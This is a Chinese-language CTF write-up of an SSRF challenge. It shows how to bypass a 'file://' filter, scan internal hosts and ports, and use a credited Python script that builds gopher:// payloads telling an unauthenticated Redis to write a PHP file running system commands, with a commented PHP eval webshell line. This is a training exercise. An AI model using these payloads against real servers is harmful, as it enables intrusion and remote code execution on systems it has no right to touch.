考点
- ssrf redis反弹shell
知识点:
SSRF漏洞利用讲解
启动:
查看页面源代码,发现有一个注释
在url里访问一下:
得到一串ifconfig的结果,看到网络配置信息。
尝试访问了一下这个内网ip 173.13.144.10,发现回显了本页面,因此猜测可能是内网中有内容。
猜测可能存在是ssrf
给了ip,想一想也知道这应该是个ssrf的题。我们试一下file协议读文件:
发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///
如下:
file:/var/www/html/index.php
file: ///var/www/html/index.php
得到源码:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议
DICT协议
gopher攻击redis原理
我们使用http协议进行内网主机存活探测。用burp抓包,跑字典:
这里扫到了173.96.119.6/5/7/10/11,这几台主机都存活,在看到173.96.119.11这台机子时给出了提示:
说让试试不同的端口(服务)。应该是猜测6379端口(redis)或3306端口(mysql)。发现是6379端口。
再次抓包跑字典:
然后这里需要将线程调低点,不然访问太快容易429
扫描到6379端口,redis服务,我们利用redis未授权访问的漏洞,在根目录下生成个文件shell.php
,这里的dict协议也被过滤了,所以得用gopher协议。(gopher攻击的原理也就是利用gopher来生成一个符合redis RESP协议的payload)
大神的脚本:
import urllib
protocol="gopher://"
ip="10.83.244.11"
port="6379"
#shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="223.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这里也可以使用Gopherus这款工具,可以直接构造mysql、redis等gopher的payload。
注意是python的脚本,用python2生成出EXP:
然后就是打了。如果是在那个输入框的话,就不需要再来一次URL编码。如果是用hackbar的话,就需要再来一次url编码。
打完之后再访问一下10.83.244.11/223.php,就可以看到命令执行的结果了: